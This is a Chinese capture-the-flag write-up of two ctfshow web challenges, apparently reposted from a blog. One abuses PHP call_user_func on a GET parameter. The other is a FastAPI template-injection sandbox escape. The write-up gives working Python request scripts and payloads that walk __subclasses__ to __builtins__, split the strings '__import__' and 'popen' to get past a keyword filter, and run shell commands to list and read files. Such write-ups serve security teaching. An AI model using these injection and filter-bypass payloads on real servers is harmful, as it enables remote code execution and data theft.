------------恢復內容開始------------
今年1024忙得厲害,去大上海參加geekpwn膜拜大佬,幾家平臺的題目沒怎么好好看,特別是小破站的比賽拉跨的一批,bytectf的web到了第二天晚上所有題的題解加在一起還沒有10解直接勸退(yuligeyyds!!!),第回南京之后做了兩道1024的題目,難度偏簡單,在此記錄一下,
1.1024_WEB簽到
開題得原始碼
1 <?php 2 3 /* 4 # -*- coding: utf-8 -*- 5 # @Author: h1xa 6 # @Date: 2020-10-20 23:59:00 7 # @Last Modified by: h1xa 8 # @Last Modified time: 2020-10-21 03:51:36 9 # @email: [email protected] 10 # @link: https://ctfer.com 11 12 */ 13 14 error_reporting(0); 15 highlight_file(__FILE__); 16 call_user_func($_GET['f']);
看到危險函式call_user_func($_GET['f']); 第一反應應該是上傳一句話木馬getshell,但是這里只傳入了一個引數進行執行,還以為是什么奇技淫巧,本地開了一個環境去測驗,因為我在ubuntu的php環境是php5,所以在本地使用?f=assert(phpinfo())的時候確實是成功了,但是拿到題目環境里面插入一句話木馬一直沒能成功,才反應過來是php版本問題,
傳統的call_user_func 使用方法是call_user_func($func,$value),前面的是要執行的函式名字,后面是傳入函式的引數值,一般來說$func傳入的是assert,$value傳入我們要執行的代碼以達到rce的目的(在call_user_func中不能使用eval),
本題因為只有一個傳入引數,并且傳入的默認為是$value,所以我們先傳入phpinfo試試,結果成功得到界面,

通過查看phpinfo的資訊我們直接發現了一個可執行的函式:

傳入f=ctfshow_1024執行函式得到flag,簡單粗暴,
flag{welcome_2_ctfshow_1024_cup}
2.1024_fastapi
打開題目得到的是一個json資料,看了一眼題目fastapi,百度告訴我們FastAPI是基于python3.6+和標準python型別的一個現代化的,快速的(高性能),構建api的web框架,
- Fast: 非常高的性能,媲美nodejs和go,可用的最快的Python框架之一.
- Fast to Code 增加了200%~300%開發功能的速度
- Fewer Buys 減少了40%的人為開發錯誤
- Intuitive 偉大的編輯支持,減少了debug時間,
- Easy 簡單的使用和學習設計,減少了閱讀檔案的時間,
- Short 減少代碼重復,每個引數宣告的多個特性,更少的錯誤,
- Robust 獲得生產就緒代碼,自動互動檔案,
- Standards-based 基于開放的標準API: OpenAPI和JSON Schema
是python框架啊,那沒事了,盲猜ssti,掛一個萬能ssti文章:https://www.anquanke.com/post/id/188172,
稍微了解了一下fastapi得知它具有方便的api檔案/redoc和/docs 在本題中我們嘗試打開得到如下界面:

看到此站點下還有一個/cccalccc頁面,內容是一個計算器的實作,傳入引數q應該是一個可以執行的計算式,顯然我們的注入點就在這個q上面,幾次測驗之后發現{payload}能夠實作注入,但是發現結果為list或string型別的都Internal Server Error或結果為空,嘗試將string切片顯示,發現成功出現回顯,撰寫jio本康康有什么可以利用的模塊:
1 import requests 2 3 url='http://4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc' 4 for i in range(500): 5 data=https://www.cnblogs.com/M1saka/archive/2020/10/27/{'q':'str([].__class__.__base__.__subclasses__()['+str(i)+'])[1:]'} 6 r=requests.post(url,data) 7 print(i ,r.text)
本題的環境是python3,所以利用方式要比python2中file模塊的呼叫復雜多了,主要是利用__builtins__中的函式進行檔案讀取利用等等,而含有__builtins__的內建函式有這些:
(59, <class 'warnings.WarningMessage'>, '__builtins__') (60, <class 'warnings.catch_warnings'>, '__builtins__') (61, <class '_weakrefset._IterationGuard'>, '__builtins__') (62, <class '_weakrefset.WeakSet'>, '__builtins__') (72, <class 'site._Printer'>, '__builtins__') (77, <class 'site.Quitter'>, '__builtins__') (78, <class 'codecs.IncrementalEncoder'>, '__builtins__') (79, <class 'codecs.IncrementalDecoder'>, '__builtins__')
可以利用的內建函式還有os和linechache等,具體情況具體分析,多看看上面給出的那篇參考文章,
剛剛腳本跑出來的內建函式中發現了188.warnings.WarningMessage和189warnings.catch_warnings,可以進行利用
嘗試列出當前目錄下的所有檔案
1 import requests 2 3 url = 'http://4cfb3ea5-9890-4c75-a6ef-9e64bfa8abc5.chall.ctf.show/cccalccc' 4 payload = '{str([].__class__.__base__.__subclasses__()[188].__init__.__globals__[\'__builtins__\'][\'__import__\'](\'os\').system(\'ls\'))[1:]}' 5 data = https://www.cnblogs.com/M1saka/archive/2020/10/27/{'q':payload} 6 r = requests.post(url,data) 7 print(r.text)
//{"res":"hack out!","err":false}
發現過濾了system和import,import嘗試使用im+port進行繞過,system使用popen代替,結尾要使用.read(),不然沒有回顯,
關于popen:
用法:os.popen(command[,mode[,bufsize]])
說明:mode – 模式權限可以是 ‘r’(默認) 或 ‘w’,
popen方法通過p.read()獲取終端輸出,而且popen需要關閉close().當執行成功時,close()不回傳任何值,失敗時,close()回傳系統回傳值(失敗回傳1). 可見它獲取回傳值的方式和os.system不同,
把payload改成
payload = '{str([].__class__.__base__.__subclasses__()[189].__init__.__globals__[\'__builtins__\'][\'__imp\'+\'ort__\'](\'os\').__dict__[\'pop\'+\'en\'](\'ls\').read())[1:]}'
成功讀取到當前的檔案串列:{"res":["ain.py\nstart.sh\n"],"err":false}
因為我們使用的是切片回顯,所以第一個檔案應該是main.py,m被切掉了,我們嘗試去讀取main.py的內容,結果如下:

找到提示告訴我們flag在/mnt/f1a9里面,直接讀取獲得flag:
flag{ea066230-29c9-4cbb-b1b9-2e8b4edf4abf}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/193911.html
標籤:其他
上一篇:《口才三絕》讀后感
下一篇:前端面試題總結
